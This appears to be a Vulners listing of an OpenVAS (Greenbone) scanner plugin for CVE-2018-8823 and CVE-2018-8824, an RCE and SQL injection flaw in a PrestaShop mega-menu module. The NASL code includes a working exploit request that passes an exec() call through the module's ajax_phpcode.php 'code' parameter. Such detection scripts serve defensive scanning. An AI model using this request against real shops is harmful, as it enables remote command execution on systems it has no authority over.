Lucene search
+L

PrestaShop Responsive Mega Menu Module RCE / SQLi Vulnerability

🗓️ 30 Jun 2020 00:00:00Reported by Copyright (C) 2020 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 126 Views

PrestaShop Responsive Mega Menu Module RCE / SQLi Vulnerability. Prone to remote code execution and SQL injection

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2018-8823
28 Mar 201802:29
attackerkb
attackerkb
ATTACKERKB
CVE-2018-8824
10 May 201803:29
attackerkb
circl
Circl
CVE-2018-8823
22 Dec 202317:57
circl
cnvd
CNVD
PrestaShop Responsive Mega Menu Pro Module Code Execution Vulnerability
30 Mar 201800:00
cnvd
cnvd
CNVD
PrestaShop Responsive Mega Menu Pro Module SQL Injection Vulnerability
15 May 201800:00
cnvd
cve
CVE
CVE-2018-8823
28 Mar 201802:00
cve
cve
CVE
CVE-2018-8824
10 May 201803:00
cve
cvelist
Cvelist
CVE-2018-8823
28 Mar 201802:00
cvelist
cvelist
Cvelist
CVE-2018-8824
10 May 201803:00
cvelist
euvd
EUVD
EUVD-2018-20433
7 Oct 202500:30
euvd
Rows per page
# SPDX-FileCopyrightText: 2020 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:prestashop:prestashop";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.144185");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2020-06-30 09:08:47 +0000 (Tue, 30 Jun 2020)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-04-24 12:54:00 +0000 (Tue, 24 Apr 2018)");

  script_cve_id("CVE-2018-8823", "CVE-2018-8824");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"Mitigation");

  script_name("PrestaShop Responsive Mega Menu Module RCE / SQLi Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_prestashop_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("prestashop/http/detected");

  script_tag(name:"summary", value:"The 'Responsive Mega Menu' module for PrestaShop is prone to a
  remote code execution (RCE) and SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu
  (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL
  injection or remote code execution through function calls in the code parameter.");

  script_tag(name:"affected", value:"Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for
  PrestaShop 1.5.5.0 through 1.7.2.5.");

  script_tag(name:"solution", value:"Disable function exec(), passthru(), shell_exec(), system(), delete or edit
  the vulnerable file.");

  script_xref(name:"URL", value:"https://ia-informatica.com/it/CVE-2018-8824");
  script_xref(name:"URL", value:"https://ia-informatica.com/it/CVE-2018-8823");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

cmds = exploit_commands();

foreach pattern (keys(cmds)) {
  cmd = cmds[pattern];
  url = dir + "/modules/bamegamenu/ajax_phpcode.php?code=echo%20exec%28" + cmd + "%29%3B";

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: pattern, string: res)) {
    report = 'It was possible to execute the "' + cmd + '" command.\n\nResult:\n\n' + res;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jun 2024 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 39.8
EPSS0.27382
126